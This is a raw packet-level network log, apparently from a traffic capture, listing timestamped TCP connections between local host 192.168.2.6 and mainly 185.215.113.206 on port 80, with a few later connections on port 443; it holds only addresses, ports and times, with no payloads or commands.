Nov 24, 2024 00:06:52.923943996 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.923985004 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.924115896 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.924173117 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.924798012 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.924844980 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.924912930 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.924953938 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.925697088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.925755978 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.925823927 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.925869942 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.926572084 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.926639080 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.926687956 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.926789045 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.927501917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.927577019 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.927586079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.927630901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.928298950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.928363085 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.928406000 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.928443909 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.929205894 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.929260969 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.929274082 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.929315090 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.930075884 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.930141926 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.930222034 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.930284023 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.930969954 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.931037903 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.931087971 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.931128979 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.931837082 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.931912899 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.931925058 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.931965113 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.932701111 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.932765007 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.932806969 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.932842970 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.933567047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.933624983 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.933684111 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.933788061 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.934442997 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.934529066 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.934571028 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.934608936 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.935338020 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.935405970 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.935455084 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.935501099 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.936214924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.936278105 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.936430931 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.936480999 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.937072992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.937128067 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.937169075 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.937211037 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.937962055 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.938004017 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.938057899 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.938097000 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.938904047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.938977957 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.939052105 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.939095020 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.939704895 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.939763069 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.939814091 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.939944029 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.940603971 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.940665960 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.940674067 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.940710068 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.941452026 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.941514969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.941555977 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.941596985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.942327023 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.942416906 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.942437887 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.942547083 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.943249941 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.943319082 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.943372011 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.943531990 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.944142103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.944196939 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.944331884 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.944375992 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.944981098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.945043087 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.945101976 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.945143938 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.945771933 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.945832968 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.070113897 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.070147991 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.070178032 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.070214987 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.070486069 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.070539951 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.070600986 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.070646048 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.071367979 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.071429014 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.071475983 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.072249889 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.072308064 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.072351933 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.072398901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.073120117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.073164940 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.073223114 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.073261976 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.073986053 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.074035883 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.074091911 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.074131966 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.074873924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.074922085 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.075030088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.075073957 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.075748920 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.075798035 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.075849056 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.075887918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.076620102 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.076683998 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.076714039 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.076733112 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.077514887 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.077569008 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.077697992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.077830076 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.078389883 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.078433990 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.078454971 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.078468084 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.079250097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.079308033 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.079355955 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.079411983 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.080149889 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.080245018 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.080274105 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.080334902 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.081024885 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.081068993 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.081072092 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.081106901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.081892967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.081947088 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.082005978 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.082046032 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.082792997 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.082865000 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.082909107 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.083008051 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.083672047 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.083720922 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.083782911 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.083823919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.084531069 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.084570885 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.084579945 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.084629059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.085406065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.085449934 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.085514069 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.085571051 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.086272955 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.086332083 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.086374998 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.086415052 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.127902031 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.127974987 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.127996922 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.128057957 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.128401995 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.128454924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.128504038 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.129173994 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.129241943 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.129287958 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.129339933 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.130052090 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.130110025 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.130165100 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.130208969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.130912066 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.130964041 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.131026030 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.131068945 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.131841898 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.131911993 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.131948948 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.132071018 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.132698059 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.132783890 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.132796049 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.132888079 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.133544922 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.133591890 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.133647919 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.133690119 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.134429932 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.134524107 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.134560108 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.134625912 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.135320902 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.135380030 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.135432005 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.135483027 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.136238098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.136281013 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.136322021 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.136370897 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.137061119 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.137109041 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.137253046 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.137296915 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.137948036 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.137989044 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.138050079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.138087034 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.138837099 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.138885975 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.138933897 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.138981104 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.139775038 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.139816046 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.139866114 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.139904976 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.140564919 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.140621901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.140626907 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.140661955 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.141448975 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.141505003 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.141510010 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.141539097 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.142333984 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.142395973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.142441988 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.142613888 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.143213034 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.143266916 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.143316031 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.143357038 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.144090891 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.144241095 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.144267082 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.144289970 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.144963026 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.145081997 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.145169973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.145874023 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.146019936 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.146713018 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.146835089 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.147574902 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.147711992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.148464918 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.148590088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.148686886 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.149341106 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.149400949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.149471045 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.149579048 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.150219917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.150269032 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.150326967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.150365114 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.151077032 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.151130915 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.151197910 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.151238918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.151982069 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.152051926 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.152122974 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.152183056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.152884960 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.152930975 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.153002977 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.153070927 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.153743982 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.153795958 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.153841019 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.153873920 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.154616117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.154670000 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.154719114 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.154769897 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.155483961 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.155585051 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.155606031 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.155625105 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.156330109 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.156368971 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.260814905 CET	49903	443	192.168.2.6	20.189.173.2
Nov 24, 2024 00:06:53.260935068 CET	443	49903	20.189.173.2	192.168.2.6
Nov 24, 2024 00:06:53.261023998 CET	49903	443	192.168.2.6	20.189.173.2
Nov 24, 2024 00:06:53.261221886 CET	49903	443	192.168.2.6	20.189.173.2
Nov 24, 2024 00:06:53.261253119 CET	443	49903	20.189.173.2	192.168.2.6
Nov 24, 2024 00:06:53.263665915 CET	49904	443	192.168.2.6	20.110.205.119
Nov 24, 2024 00:06:53.263709068 CET	443	49904	20.110.205.119	192.168.2.6
Nov 24, 2024 00:06:53.263767004 CET	49904	443	192.168.2.6	20.110.205.119
Nov 24, 2024 00:06:53.263958931 CET	49904	443	192.168.2.6	20.110.205.119
Nov 24, 2024 00:06:53.263969898 CET	443	49904	20.110.205.119	192.168.2.6
Nov 24, 2024 00:06:53.280539036 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.280607939 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.280756950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.280800104 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.281023026 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.281071901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.281141043 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.281179905 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.281889915 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.281954050 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.282021999 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.282058954 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.282759905 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.282872915 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.282918930 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.283632994 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.283680916 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.283756971 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.283898115 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.284502029 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.284554958 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.284605980 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:53.284641027 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:53.285402060 CET	80	49818	185.215.113.206	192.168.2.6
